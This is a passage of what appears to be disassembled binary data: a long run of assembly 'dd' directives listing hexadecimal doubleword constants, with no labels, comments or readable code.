0BBCBBA9h, 4C16DB73h, 90BF75AAh dd 8C175B7Ch, 2C8AD900h, 1CFBE3C7h, 8B661508h, 1E56F2F3h dd 395FA1F0h, 2D05F573h, 0BAF9CA08h, 2E65D361h, 16F06507h dd 0C29ABAECh, 3650CDC0h, 0E83060ADh, 79451B0Ch, 786D0B54h dd 0E87FD097h, 676160A9h, 50FBDA58h, 2F55BD23h, 60872491h dd 24298D31h, 2094611Fh, 27C1E89Bh, 21EF949Ah, 91BDC833h dd 58560165h, 1723DF3Ah, 0F6348000h, 248D09D7h, 626119CDh dd 0DF2EEA88h, 0B7F82BA8h, 7B9F718h, 0E0C18311h, 0A9F000BEh dd 0D93B4EA5h, 0CC5A860Fh, 23813BEEh, 4F830F1Dh, 0CFB739A3h dd 0A1A4F6B8h, 0F0EFC58h, 29F28BD9h, 70EEA4C1h, 0B09E946h dd 9C219E00h, 78D7A199h, 0D2C24D01h, 895BF880h, 30655D85h dd 0A4AEC3EDh, 0C70EFCE0h, 54F633h, 8BAAA216h, 5FB70149h dd 343D587Fh, 86835108h, 5535AF33h, 0C250A699h, 0C560A64Fh dd 526D5FAh, 0FF178A7h, 6B16CD80h, 1B846E9h, 5DD7AC0Ch dd 0F1E5AAE3h, 968D1C05h, 789AFED8h, 1F18AC0h, 0FE2E3739h dd 19095705h, 0E585AF26h, 74C71FCFh, 207FAD28h, 1AAA4BA7h dd 0DA2F038Ah, 5DE39123h, 6BEEDA5Bh, 60050189h, 0FE6E1634h dd 3730EC4h, 1E24C681h, 0BDB22768h, 0D0739264h, 0C23CBFB9h dd 0A75B509h, 1694A2AFh, 0F3000753h, 0DD3B2E6h, 3A001628h dd 0CABB3872h, 9B8E909Dh, 0BF6602C2h, 0C66CCD9Fh, 18D15099h dd 0D5FEA118h, 0D4C71026h, 478F702h, 0BBD3DF90h, 0C827158h dd 0A5FED7F7h, 0F41A1EEh, 400D9360h, 0BDFA6003h, 0DDB5956Eh dd 62B287Fh, 4C22E920h, 1BE85761h, 57F3008Ch, 0CD7B983Ch dd 0F99BBD2Ah, 4CCB878h, 8FF90F93h, 0F85C82BCh, 1325E240h dd 4B0BC5D2h, 557503C7h, 9B34830h, 8B586DC0h, 8500D627h dd 1C6ED0Bh, 8202E1B5h, 2A005966h, 62B17468h, 14325BC3h dd 9D9F8908h, 0AE2E5D17h, 0F27968Ch, 1164CF02h, 0B7C0C120h dd 346E241Ch, 6D2E1A99h, 41B0E03Dh, 0BB982173h, 0A1510844h dd 0DA5001D3h, 3804E95Eh, 0FADAFFF9h, 1D23032Eh, 22B71600h dd 2FFF2h, 8AFB2137h, 1B89BD33h, 8D121192h, 6E232C6Dh dd 4EBB84Fh, 12AFF8DFh, 80E1E964h, 0A9BCCECh, 0A2CE7500h dd 99C76E03h, 0C26901FEh, 0BE65FA93h, 0CA08808Bh, 31C4F7B2h dd 0C8F5009Ch, 0BFF1982Dh, 0E8008F24h, 0BB881DB8h, 7EEE5F4Dh dd 394303EDh, 0FC2C5022h, 84344E00h, 0A3F22596h, 9D700049h dd 0E67FB2B3h, 771EA750h, 840039E0h, 8A942E9h, 0AC470079h dd 0E414BBC2h, 2300AA51h dd 26AD54F3h, 0B45BFAh, 0C168FB2Dh, 0C86F0E3Ah, 0D05E1700h dd 2BF58854h, 30CD7DFDh, 86ACFBA4h, 0FC0F03EDh, 40902355h dd 35C72254h, 0CE99007Ah, 0F89F401Ah, 0A9004471h, 0AE497B02h dd 508007h, 0B74A0EB5h, 0F13AAD69h, 0C7F92700h, 0C0F0972Ch dd 0E68F0025h, 64901FB6h, 399022C9h, 4FF8860Eh, 0F9C8921h dd 10F43A20h, 5C156185h, 0BF007427h, 35D0FE8Dh, 2438DD8Eh dd 0D62F801Ah, 0C44F8648h, 791900AEh, 1D07A2D0h, 2927229h dd 0F6268D50h, 6FA98B54h, 0C6081606h, 4C38C00Fh, 0F580DACDh dd 5413F472h, 76BC3E03h, 802CC08Ch, 3F26CF65h, 180097F6h dd 36FDB33h, 5F0E7862h, 80FA28D1h, 0AD487475h, 867F5006h dd 816F0C1Fh, 5B742C10h, 34A59318h, 0AC7F0Fh, 4408210Bh dd 8DB967B1h, 0B35CF200h, 0F7FEE887h, 6EA00049h, 73A52CD3h dd 0D6003FE0h, 0EC5F6CEFh, 503A6Dh, 0F3881F4Fh, 7AF92C81h dd 8AF4E00h, 0A027CE6Fh, 32D93F74h, 0D07EC803h, 0C1E8049Dh dd 5F008F3Eh, 6109B50Fh, 0AA3D2h, 0DFE0CA63h, 0EA7118AFh dd 7A21BC00h, 0A92FF9DCh, 25317D3Ch, 52A69E19h, 27A07002h dd 58028A33h, 937D16BDh, 5EEBA392h, 0A0D3C0CBh, 0EC6F0305h dd 3419BA39h, 0BE41E9B2h, 0D5814071h, 77016102h, 696C970h dd 1B82A718h, 0D77E1FF2h, 0E8E98190h, 7920B900h, 0A82EF8DBh dd 943F603Dh, 15B0E28Bh, 0EBD56E06h, 0A387F7h, 0B243761Fh dd 0B3E3720Bh, 0D46D1406h, 0BA1EEAh, 1CEE3CA0h, 3EDF4C37h dd 0DE109701h, 0E7159C43h, 121EA5E8h, 0AC53F2h, 1FB85FC1h dd 0A2006CA7h, 0DD71699Ah, 3F0CAB82h, 6E01F36Bh, 5FF48DC0h dd 0BE1524EDh, 92803009h, 6C372021h, 3069AF99h, 3F10F1FBh dd 0D218790Ch, 26E8194Bh, 0A63F86Dh, 0F6EF7278h, 9DC31FAAh dd 94354023h, 1738F72Bh, 44D22D00h, 98FD2AD3h, 7E7BB0A3h dd 70B55069h, 29442891h, 40964F8Dh, 0FE2CFAC2h, 3500BC63h dd 60CB7205h, 1F180917h, 80A5406Fh, 4C7A7B65h, 53001CB1h dd 4F3DD3CBh, 12A309D5h, 412FF047h, 0E18829A0h, 44B5EC53h dd 439CD916h, 0D1D25200h, 7006A1h, 0C3EAE3EDh, 0C1AB7F63h dd 8013BA3Ch, 66D19D44h, 439BFDh, 8AB482BDh, 49FCD5Ah dd 1D186374h, 921BE2Fh, 454C0036h, 30D76E9Eh, 0DE0F79A9h dd 0E1CD8637h, 7D12A5D5h, 0CE10C725h, 6C3FB6h, 9CE772AFh dd 197C59B2h, 925EF4F7h, 25C284A8h, 16877515h, 8E6100CAh dd 1F981A4h, 4050DD6Bh, 0C79A47A2h, 0E9589220h, 0DC750672h dd 3F81B4Dh, 2D5D5E48h, 2EA8059Ah, 4328B4A2h, 8E0083E9h dd 0E34652BBh, 601E7AB2h, 0A7D724A6h, 0BC302D1Bh, 3407268Eh dd 0FCFD4D93h, 3B418D3Dh, 0ADDC6581h, 0F1DFE340h, 0CB31C180h dd 603769F8h, 0D6A06E22h, 4EF446D9h, 0E2832201h, 78A67029h dd 183A30h, 0F48FC16Ah, 71CAB44Dh, 82246428h, 407B7638h dd 830A02DAh, 0EA0BF98Fh, 0DE8784A0h, 9CB04EAFh, 0D11FA406h dd 1256F7h, 0FF63CF03h, 4EE8F34h, 436F0A00h, 0D42223F6h dd 0A44B01ECh, 7786616h, 8E4CBC42h, 0E0DB821Dh, 0B7FDE7BAh dd 6A1BC046h, 0F19A8F99h, 402AC500h, 85B4961Dh, 84454CECh dd 9ECC7501h, 80AF200Eh, 8627FA33h, 7CDD46DFh, 6FD40072h dd 0B5BDA713h, 0FC1D8205h, 3EC75C4Ch, 94A2FBE5h, 6CAE483Bh dd 963630D7h, 820AACF5h, 909C48h, 5DF3942Dh, 50EB86B4h dd 50998401h, 1FE4FCEEh, 8355F023h, 0F806E1Eh, 53C200E5h dd 4AE38A25h, 5EFC200h, 0A23565ECh, 36662C0Dh, 742C0C84h dd 88991B2Dh, 0AE78D305h, 40208992h, 0E94CBEBh, 7CA192ABh dd 0FAE76F60h, 80FB9B0Ch, 0FB8A053Ah, 19709FCh, 55F6C951h dd 0C3B1D1BFh, 855841C8h, 2757DE00h, 34D570A2h, 2C22008Dh dd 0DD6E6DA9h, 4E005CC4h, 0EF3F0964h, 0D96F67h, 8C26CBEBh dd 0BCAA723Bh, 86064B77h, 299A8837h, 0A174010Dh, 10A54619h dd 8391279Eh, 95CCDBBh, 45D4A71Bh, 543E5EA0h, 0EEE85E4Ch dd 0E5479E00h, 0C061F424h, 5381002Ah, 8E7811B8h, 0BE38EE75h dd 0FFA9825Fh, 60F9562Dh, 0EC1C73h, 0B8E6B259h, 3F2533CBh dd 0AD62AC00h, 912454FDh, 4C7DBDh, 0D697E0F3h, 0CE670EA7h dd 42432D02h, 64DE7312h, 5E27C1B7h, 80CAFF70h, 0EF774A0Ch dd 6098861Ch, 9F722127h, 8400B4B5h, 94C34AF1h, 48BA63F9h dd 0E8000A8Ah, 2304877Dh, 38E4FDCBh, 8FF89100h, 3642571Ch dd 0C0A20048h, 0C5AF5035h, 727CDC6Ah, 2386B507h, 0CA20D62Bh dd 17A34426h, 0C263FCh, 29BF56A7h, 0B3024E80h, 7089730Ch dd 28CDAEFh, 90405E65h, 0B0A331A2h, 4DC8A97Ch, 0EB00CD7Fh dd 9D6953D7h, 2C6AFB2Ch, 0E51F3CC3h, 0E3148050h, 9800295Ch dd 9E376AF1h, 264170F7h, 0A8ED01A8h, 0C75750FDh, 89520367h dd 4C281E2h, 0EA508576h, 14168706h, 0CDC05C24h, 8343D968h dd 10110CC3h, 3C3C560Dh, 67BA5200h, 0B91AC911h, 41F2F914h dd 8BD118A4h, 0A1C48148h, 3CE9542Dh, 48510A4Ch, 64040C56h dd 0B0313493h, 8F075E16h, 77810847h, 46240F3Ah, 836CF73Fh dd 0A4590F40h, 4FE90F27h, 9DC9FC73h, 90BE6100h, 42135039h dd 0AE00CB79h, 0B09C3B8h, 0C5030006h, 0D6A3E0FFh, 99037DDAh dd 0DE3E18DBh, 0B47A9BAh, 229DDCh, 2395D6ACh, 1F629C21h dd 3A009EE4h, 0B94C5351h, 0FEAC27h, 14A96D1Bh, 0AB3F5E74h dd 0D48E501h, 5C1CB89Bh, 13B0C8h, 10E72FE2h, 64CA900Fh dd 0D4787E00h, 552CDF6Ch, 7C0A0002h, 34232E16h, 0C1002639h dd 0AD6C1403h, 74D2871h, 0CC3B04EBh, 0B5E9421Fh, 83004958h dd 771EB352h, 17AC4Bh, 12A74270h, 0CA13C6Bh, 9F326513h dd 9C57DE01h, 7471D869h, 1241D6DCh, 0CD689Ah, 31C66171h dd 800F664h, 4398E897h, 0F9CBE2h, 58A1FC2Ch, 0C52402BFh dd 1D01FC9Ah, 14C257EAh, 0A8233E6Bh, 4B905B25h, 4F00EE1Ah dd 0C250FA8h, 0C25585h, 0B2E48D1Bh, 2A9B891Fh, 278B348h dd 0B7B8A275h, 8108C08Bh, 0F62000EEh, 0F0992FC6h, 805827C2h dd 4F027A28h, 4EF58A1Dh, 5B62401Ch, 0DA8F482Eh, 35EA3400h dd 76E7D585h, 0EEC159C1h, 0F80A91Ah, 363721F4h, 0DC5D7104h dd 2C187486h, 1823CD3Eh, 0F1621850h, 693C0EB2h, 0C5DEC806h dd 238BF9h, 96C46D73h, 0A445E00Dh, 0D15FBA00h, 0AEFEC60Fh dd 61142419h, 0CF789245h, 67170E3Bh, 53159879h, 0C3F10080h dd 0FEE88128h, 4A9630A5h, 8001AA08h, 4F7C250Eh, 76000FB6h dd 0C05F8B8Ch, 0B8669219h, 6A990957h, 0AB6039CFh, 3F4CC6DFh dd 45CC008Dh, 2ED57C17h, 53D3005Dh, 0FC2AF487h, 180047D0h dd 0FC6147Dh, 3E7B0AA6h, 29016506h, 57C95EF9h, 1971D62Ch dd 0AD56D900h, 3006F445h, 0E0BC3495h, 971EA40Dh, 7C807FB3h dd 130412CBh, 2B740090h, 19DCA1D4h, 0C1005C8Ah, 4AA3D6D7h dd 188D244Eh, 44E12E9Fh, 3D00A679h, 63045DDAh, 1EF727CEh dd 47CA60h, 0D6B88AB9h, 9528AE98h, 9E02BA0Eh, 0AB52E517h dd 0CCE5024h, 0A6CB3C2Ah, 4300164Eh, 0C747D18Ah, 2F03E21h dd 0AF09F7EEh, 8D54E519h, 75394996h, 0F2E070D4h, 0CC17CB81h dd 0B15105h, 0F6BA6198h, 6B0FD563h, 21089D38h, 5EEC932Eh dd 0A4EC7871h, 0A635867h, 0FC95C400h, 4AD4B755h, 0DA618414h dd 8D673CE8h, 5EDC58C9h, 0DBE4D0C9h, 536B07DDh, 66D1BB8Dh dd 4153A340h, 6D0801BFh, 0D1B56C6h, 48C05274h, 4926094Eh dd 4FB000E8h, 407B79Dh dd 77CB2F60h, 306531D8h, 0DF6E80F7h, 0F6B8B886h, 731AAB05h dd 0B0C5BAECh, 58923E82h, 14822F0h, 0A225AC02h, 0E03C341Ch dd 0FF68D6h, 0EA8DFA09h, 696A5489h, 0F9A03B16h, 0C0AE7E00h dd 5A2FF4Fh, 26C79A49h, 15A45890h, 4C0E31CCh, 0FC82AE66h dd 9F0AC6F0h, 57C80056h, 39F599D4h, 0B900CC79h, 17A0CECFh dd 0B02B5DEAh, 0B7580967h, 58807710h, 62F8F078h, 0CFFA7417h dd 4215DB00h, 0FECC29ACh, 0F37E7Eh, 6DE4B21Bh, 81FF5944h dd 0F703977Ch, 781542C7h, 1194A1D7h, 0D4C0B4FDh, 0A3D00239h dd 20210B85h, 3CBFAE80h, 340AE601h, 9153D546h, 0E44D813Eh dd 6CFE754Eh, 60ECC8h, 7D6708EAh, 5A2D9864h, 498428C0h dd 0F52151FFh, 0C26AD30h, 0A957EC8Dh, 4E004F6Dh, 59E0871Eh dd 0F88E29h, 6F8DFF75h, 56EA0C0h, 264E2400h, 2F19B6FDh dd 86655C16h, 5C0EAE49h, 0B58B785Dh, 408B4205h, 820AC6D7h dd 4405F48Ah, 4DCFCDC1h, 99FFF00h, 90B1AA1Bh, 22F50200h dd 0B944F238h, 3C0F9C80h, 5E070795h, 9490CD30h, 2E5802E0h dd 0A2A3018Dh, 973ED372h, 81093167h, 75A52C11h, 0A0283BE2h dd 1CAB4400h, 81C98EEFh, 970EAD2Eh, 2CF09701h, 0D6C48F99h dd 2513001Dh, 1FCD62F5h, 0AE134776h, 36D06E07h, 295EED8h dd 1FB64240h, 41487A9Ah, 0EB0019C2h, 0A710A950h, 43B260Bh dd 0BEA86A66h, 8063B2F2h, 0A92CC295h, 7D7705CDh, 1E7A1FBEh dd 0CAE38136h, 82998DFEh, 8A33B12Ch, 8247C05Bh, 0F33D0198h dd 0C5B39C23h, 9F258254h, 40952BCCh, 7E015F94h, 82070093h dd 0BCC4AE4Fh, 0F748ADCEh, 8558016Fh, 0E0513FEFh, 852B139Eh dd 58B9676Eh, 2DF517C1h, 0FCE3F35h, 0C0BBBAC0h, 36F3CAA7h dd 0C04B44E4h, 9D8B93CDh, 4F022B4Bh, 0C090BF68h, 29CBB57Ch dd 8009FED1h, 5CFB2BB2h, 6D0416C6h, 60D1A540h, 0A1AB4BB0h dd 10ECE7B3h, 2CE1875h, 9F11B4Ah, 8D188601h, 0EAF82A78h dd 9BA5C0h, 82227DADh, 5FB8C61Eh, 0AAC1800h, 0B2716A9Ch dd 0DB700011h, 0FC928A12h, 5E592979h, 562B340Bh, 1E00BD7h dd 98A08Ah, 97849DAAh, 6E15E841h, 58B7E700h, 0DF409488h dd 17671EF4h, 0A3C580D4h, 8AF50F1h, 0FEA79D00h, 0FA933ACBh dd 6BB50510h, 801B139Bh, 0C2C952F1h, 0C8662D00h, 5360A690h dd 3B8C02BAh, 0C436CB9Eh, 0F906A690h, 4700F77Bh, 3CCA7144h dd 5DC86793h, 2C007E21h, 88114142h, 302CBF5Ah, 3300FA04h dd 22C95C8Ch, 0EB7C94h, 0F6E07920h, 0A4BBF7B0h, 14E453Ah dd 0F493C36Dh, 8822B55Eh, 0CBAC100h, 0AFD6E5Ch, 48418400h dd 5A8A8B75h, 8D1400BBh, 0B11CC35Eh, 7050DE68h, 690510D5h dd 76F79E39h, 2C306CE5h, 5DF9947Ch, 16DB6806h, 34891C5Ah dd 81E6C424h, 839CA4C6h, 8760EE76h, 89535C1Ch, 0C3812AE3h dd 1CEB4010h, 13454783h, 0D458376h, 50088016h, 0B0AA9B8h dd 3FC6F206h, 0ECA048Bh, 1CEA54E4h, 53510007h, 595ED568h dd 0F75B1A00h, 89E381DBh, 3A093B3Eh, 32FCB03h, 0F3E01508h dd 35EC2327h, 5BD9890Eh, 314D7D01h, 75285559h, 0C4A83A3h dd 22827252h, 6D2D385Eh, 0F87980h, 897E0B5h, 0FBCB8F4h dd 36601D96h, 0F87C4FBAh, 19551CA7h, 5CA3C0B8h, 1B986607h dd 6FC62804h, 8680B04Bh, 39773E25h, 31000F02h, 0BF40063Dh dd 5C007824h, 0E753FBA5h, 367DB2Ah, 467E29A7h, 51E82DE3h dd 6E26191Bh, 1C00FD07h, 8799A131h, 0A7DB000Ah, 0D33916C5h dd 790075F6h, 0D029E53Dh, 0F250F7D4h, 3B8E00DCh, 46E9176Fh dd 221D1234h, 0F1034740h, 91C18B76h, 102FD9B5h, 31DCDF98h dd 299118h, 0BFF99589h, 0B18CF75Ch, 20BD1918h, 50272D35h dd 167F6460h, 90AA7D8h, 24C061C6h, 0F85E8B66h, 0BFDF00AAh dd 7908C787h, 1B8C0F28h, 0E7816606h, 1066F8A8h, 760B1287h dd 60800EF0h, 0C1BF000Fh, 83615B53h, 76BD05C0h, 0A02DD681h dd 0A0F537h, 0F72F5DEBh, 29EC5A00h, 7F2AB72Eh, 587007Dh dd 5EC8F031h, 54BF5090h, 0AEFB800Ah, 646E9C20h, 0C38A861Ch dd 66525040h, 3A71ADBFh, 0A481310Fh, 5A227020h, 7F42AF58h dd 7F809D35h, 8917CE74h, 85013DBCh, 0B94A07A5h, 49DAF5h dd 0DD275809h, 8B90C004h, 0D3E35F00h, 0F22F124Ch, 5B55F44Ah dd 3E2FFA6Ah, 3E011523h, 3D95FF8Fh, 0A96F0425h, 0EDCACC8h dd 98A1E04Fh, 5FFA8BE0h, 0D52F9D8Dh, 619D5D93h, 828E1D11h dd 7D845680h, 0B104668Eh, 0D3FF90DCh, 17BCB3B8h, 84CC098Ch dd 6E023C83h, 0FF011FD1h, 103A5985h, 15B82B72h, 2B6E3E8Ch dd 116BC78Eh, 61DD5DABh, 162B02F0h, 0F9D8FFDBh, 957E9091h dd 1C11AB9Dh, 63F43980h, 0ED093B20h, 0E745EF6h, 58CFC94Bh dd 30C40EFh, 811BD1Ah, 701F5C0Ch, 14FD986h, 14C8C7CEh dd 0BD2BA9C0h, 3D069785h, 71207E56h, 705E5C04h, 0E14F11Ah dd 589853F7h, 8AE4A64Fh, 6F7B4214h, 50D44FD9h, 0BD0D19C7h dd 80F076B8h, 5897DB0Bh, 0FE49D6D3h, 96C1929Ah, 0EC0D2AFDh dd 0BD260BA6h, 8B9D4FC5h, 522B098Bh, 10D110A4h, 456D8D0Bh dd 0ACB3ED7Ah, 139A70FBh, 0E0921F1Ch, 5BEABEE3h, 0E961A409h dd 0D840DBB3h, 0A439CA70h, 75E78EC5h, 0D13E096Ch, 57E8000Ch dd 42A8C7DBh, 9016100h, 5075C324h, 0F42D620Eh, 0C702327Dh dd 6F011185h, 2FE90AEDh, 0F8579609h, 0E914403Bh, 5EBF4070h dd 8F62DEC8h, 140DF5ACh, 0B4FB15E1h, 1E015A24h, 542A4D9h dd 55DCFE8Eh, 0AC131311h, 5D5A1469h, 0C24554D9h, 2522A944h dd 0F9929F0Eh, 58FDD3DFh, 0AD00A26Bh, 3ECE3D1Fh, 880CE990h dd 4B00EC5Ch, 58DBBA33h, 485079B9h, 83280C02h, 2D0AB566h dd 1B467470h, 19485107h, 0CEDDF00Bh, 291E601Eh, 0F3B01DBDh dd 0B5F561FAh, 10553991h, 17E1CF81h, 48324521h, 6C27021Ah dd 88505B49h, 4500CB51h, 0F5637705h, 948FC1h, 961A2E02h dd 0B80B6ACAh, 5A87EC17h, 0B8672250h, 0EE038C1Dh, 63E2A867h dd 58E38876h, 4A6A1B1h, 39B0C727h, 0A32EBA6Bh, 0ED24F667h dd 82E32F09h, 51B8D77h, 0F668D0B0h, 0E624CF14h, 0DECE70h dd 0BBF630B2h, 9BCEB098h, 58852430h, 278A33DEh, 94CD71E4h dd 2A278FC0h, 84FC5ACFh, 88C18E4Fh, 1E61C215h, 0B16B9D4h dd 0DB5858B6h, 12231110h, 0DA3AC38Bh, 0B1041623h, 3C12874h dd 256A0381h, 21B6FB32h, 0C50D9EB0h, 17589900h, 0F9BE6663h dd 0C1C0C504h, 0C276AC03h, 0E3D82BF3h, 504BECB6h, 0ABAC48F5h dd 966602EDh, 0F3D5898Eh, 0B4052451h, 0A800A48Dh, 3EA6CCFDh dd 9C770038h, 829ED717h, 5F6950AEh, 768C4202h, 0FDE66CABh dd 0F8011840h, 0DD085A95h, 0EFE43079h, 5EB0BD2Ch, 1A4676h dd 576B54CFh, 0C4DD47C4h, 14312974h, 0E8385852h, 45008C17h dd 9EE47BFh, 9F138185h, 0B3CF1E30h, 3F3CCC00h, 7E56FFA6h dd 0A2F82440h, 78BF2B5Eh, 0C804E9D4h, 29457B50h, 0A49683F8h dd 2411EF1h, 85296D50h, 0FA97D039h, 342C7B12h, 0C0919B54h dd 924C5302h, 2801091Eh, 0E10E9BAh, 4F78DB5Fh, 9A00E17Ch dd 1CE6813Fh, 0B701255Ah, 859DBC01h, 0F8660C03h, 0F2BE04F7h dd 95590C53h, 23713A42h, 0D7AB0017h, 0B70FCED2h, 4F62F248h dd 1980CDDBh, 0E1783763h, 5B52EB8h, 95ADF8F7h, 50016E10h dd 5E1DDF2h, 229592A8h, 8E14C9BCh, 3CD140FAh, 0B5C55A4Ah dd 0B0FDF6FAh, 1467D870h, 0B80B38E2h, 5A333D10h, 4C0ED793h dd 49106BC1h, 0B7855A12h dd 0B0F8A6EAh, 13EF1784h, 0AB396437h, 0BD899702h, 0D41D6A61h dd 56B844DFh, 3942A3F7h, 343114A2h, 0AFD6289h, 9500EAFBh dd 6A37F501h, 0CC730256h, 5B52867Ch, 1B442747h, 331D1660h dd 0FD01E1FAh, 0B529645Bh, 57322135h, 0F0B6110h, 0CB03C32Bh dd 5B7E2B59h, 0D9C53B1Dh, 6BB2289h, 19B98D09h, 174669BFh dd 4BE65B7h, 8B5578CBh, 40CC4E84h, 1FD12295h, 6CC8C05Bh dd 9EF8003Ch, 0ADF3B73Dh, 5D026186h, 0B589D99Dh, 5F0749E1h dd 0AB19576Eh, 7569FC92h, 44AF3960h, 0B4F2D1Dh, 84BCC241h dd 10C8FA73h, 6DBD128Bh, 0ED30952Eh, 4EA7B41h, 459B715Fh dd 26C0B98Dh, 330AF095h, 7B88094Bh, 0E948E85Dh, 197912FEh dd 0C51F050Eh, 0A79F0013h, 251A332Bh, 0A5885699h, 645E9885h dd 284EA19Dh, 70851568h, 6EF4823Fh, 34E70B16h, 46E4Ah dd 0EF22B68h, 0C702820Fh, 22FE8B1Bh, 84E160F9h, 0D769F9C1h dd 6661DAD9h, 9DF92CA8h, 0C8560FC9h, 81900013h, 0A9CBF4E7h dd 259B715Eh, 0AFCD3E81h, 0C7006B14h, 0A9CA81C0h, 13D7793Bh dd 82D19D8Bh, 30976104h, 2931811h, 3A0F7EF5h, 54FAF5h dd 116F1832h, 8833065h, 0CCB77000h, 773C44E0h, 0D1979990h dd 27C61816h, 0C1378928h, 4FC60B01h, 7221F6AAh, 0F2247Ah dd 809CF2CDh, 52006BD1h, 616EE34Ch, 5ADD35h, 37422E3Ah dd 11C9BD03h, 0D44039Ah, 24AF00DDh, 6539EF19h, 170970A8h dd 6D8C3C4Bh, 0C997C000h, 6801D494h, 0F2516B8Eh, 0D351F5CCh dd 31021F01h, 126DD41h, 31448C0Fh, 680D4E1h, 28E961DEh dd 7FE3FFF7h, 0B300366Eh, 86EB1F2Bh, 0F726C487h, 0F90819D9h dd 0C12D3B04h, 7C0266B7h, 250EE877h, 9388C0A7h, 7426F613h dd 5E03F2F7h, 37408742h, 0ABF5ED70h, 605CF866h, 1DF937DFh dd 10919561h, 0B97F6125h, 997AC29h, 0DCD765FEh, 44D2882h dd 0D7AF20F3h, 139232B5h, 90FEB905h, 1B73F4EBh, 0AD042800h dd 0F195C641h, 0E6C105BAh, 0C053A420h, 5FA69B29h, 0BF3950E2h dd 6B7F05C7h, 9A27E990h, 0A5037A60h, 0FD7800A3h, 0F2E4E02Ch dd 0B16B9161h, 0A95D636Eh, 33921F8Eh, 457620E8h, 3D79A94Ah dd 0AF701000h, 0F2A8D791h, 0BCDC0F7Dh, 2CA8B1Eh, 9DD08BDh dd 0FBB74FB1h, 1DBB8840h, 6E7BF90Bh, 7FF2004Fh, 0B9FF475h dd 206590DFh, 90B60585h, 692A28F6h, 329520DCh, 0C23E504Eh dd 0B2061623h, 2F50FC67h, 3DDF12C5h, 0B81480AFh, 0FE0CD82Fh dd 0F7AF2ABEh, 53D99212h, 0F41BBA2h, 1CAC356Dh, 9E26008Ch dd 683F5E83h, 0E906A133h, 7F1BD01h, 69D34979h, 409A23BCh dd 0BC3779E1h, 0CD3E8C17h, 2212AC86h, 0E9019901h, 3478089Dh dd 3D4AC5B2h, 0BA704CF3h, 1AE70A99h, 0BB5E225h, 27CD04CDh dd 2C62D791h, 4090B5Dh, 2AA1A9C3h, 0CB81D29h, 2ED7E700h dd 0C6372CBEh, 6BFFB664h, 27C0F14Dh, 2FFDB280h, 1A25432Eh dd 0B069B7E0h, 4C6A1847h, 92547B1h, 63802E79h, 57ED02CDh dd 432C0346h, 44D0624Ch, 507439B0h, 0E7C47700h, 0F3EE81DFh dd 0DD80BE5h, 9E05835Fh, 2130E21Bh, 2953FA34h, 6580F896h dd 5FE90238h, 0F360AEA8h, 98D4B56h, 0B9EDE4E1h, 4120F85Eh dd 0DBF3014Ah, 63016E2h, 700B92A6h, 68E980B1h, 0F4B87CBFh dd 0D7C45126h, 290B0611h, 35A8659Dh, 0FC104E5Ch, 352E8C15h dd 73607A3Dh, 0CB7564h, 45A1B72Bh, 404A42B3h, 75B4D42Fh dd 430AD629h, 0D66E4878h, 17238C48h, 329DFB8Bh, 1D88E14Bh dd 7BD130C0h, 25DC0014h, 0AF18534h, 0B6948A0Fh, 25E1FB45h dd 898EA028h, 86D859A0h, 0FB7E80A6h, 494FBB17h, 8CE3CCBAh dd 255F5E84h, 4A1DA815h, 16C0429Bh, 51B58B67h, 2C74075Eh dd 9D0182B2h, 0F9C85894h, 0D877D522h, 50713CD5h, 310F5207h dd 0B3D0BE57h, 4C5E05F1h, 6D4C065Ah, 0D32FF5Fh, 357DC4B5h dd 0FDA9E6E9h, 460B872h, 30190FB3h, 0AEA08429h, 0B0DA5827h dd 0C9958905h, 0F4FB2FBh, 0C270E6F3h, 0F771E4FAh, 815B845Bh dd 89C460A5h, 0BA64E585h, 0F10C03B9h, 16114B6h, 9EAE25E2h dd 0C19584F6h, 6D236DD0h, 590192E5h, 0C38BC8A7h, 0CBB8C129h dd 96AA6F00h, 1A085D9Ah, 8BF31660h, 0FEE6C5F0h, 4DB0D8E6h dd 900442F1h, 12E9EE9Dh, 2E551FC1h, 6F96E36Ch, 0F203127Ch dd 1246C8h, 0BAFC7FA3h, 0E05C22Eh, 3A48800h, 0C5B5232Fh dd 21E89501h, 0DE1E8A60h, 2AD58D8Bh, 89502DABh, 0D0E641F3h dd 0A9D24F38h, 1C8B80Eh, 45981686h, 2A331C74h, 2F39C1DDh dd 5E99FFA9h, 0C2402FE8h, 6F941A54h, 0F681011Dh, 2BB5A387h dd 0F58205Fh, 946E8F48h, 45247D2Dh, 0FCE0BF0Eh, 0C6F273h dd 0CCCEDB80h, 615B43C9h, 84806990h, 6B90EE18h, 0B69E4A0h dd 3264DCB6h, 3CBC0955h, 0D99E3Eh, 0C97E7113h, 0BC459D89h dd 0B6702AA2h, 7900DC99h, 7EC383Dh, 25607A6Ch, 0CCDB61F8h dd 67181C51h, 7DDD9600h, 2A62AE2Dh, 40F39CFCh, 7B1AC5F4h dd 408C70Fh, 0AC97078Dh, 2ED02C40h, 80C59978h, 0B287548Bh dd 2A006ECAh, 776DED50h, 1648BFBBh, 84513010h, 0C26FDB64h dd 0E22390ECh, 0AA2750D5h, 4D7655D7h, 602514D6h, 0C512C914h dd 0F5D23219h, 30509E41h, 2E12B932h, 31DB585Fh, 53639582h dd 0D4551F2h, 5849203Ah, 912F8F84h, 41551237h, 3578F0B6h dd 48CF8101h, 79220CA7h, 29EA3014h, 2F2512BEh, 13093533h dd 0D589C937h, 13C0C1A7h, 0B0890C79h, 0D6D80D7Bh, 0BBA709AFh dd 4B85BE3Bh, 4B8F8B81h, 5C00ECA3h, 3D28CA9Ch, 54759ED1h dd 42809700h, 0B9DB0B8h, 33580573h, 8832E585h, 3DDC880Fh dd 5C25B17h, 12F3DBC3h, 8BA7AB4Eh, 0F49B78A1h, 1D0621E7h dd 2CE96631h, 786CB321h, 201CC422h, 788011D2h, 0F51AFE72h dd 35C0488Bh, 52355B70h, 80B19BF0h, 55DA7197h, 0D0854BC7h dd 47CB7705h, 11F21650h, 3D22045Eh, 0C1222009h, 9F02F0BEh dd 7E340857h, 0E4A8D95Fh, 0ECE9BD4Dh, 0CB5200D8h, 419B31FEh dd 0E097BB24h, 164CE6C7h, 6A85FF92h, 9152344h, 5E5B6339h dd 29C1BD0Bh, 0D60B747Ch, 5C091646h, 73D0B7D3h, 65BD2B17h dd 1890604Bh, 2C52254h, 350BF78h, 0AA4965B5h, 0B87F2D5Eh dd 3748B0B1h, 62CF2615h, 290B2829h, 0DCA6D4C8h, 591438E0h dd 0BBE3A3Ch, 1943D7h, 414FFDABh, 97B8B84Ch, 0B75F9ECAh dd 3A4600F0h, 9B5A6402h, 6027D001h, 2F999531h, 1400CB67h dd 10A3FDB9h, 0DD0C92A5h, 0DC311641h, 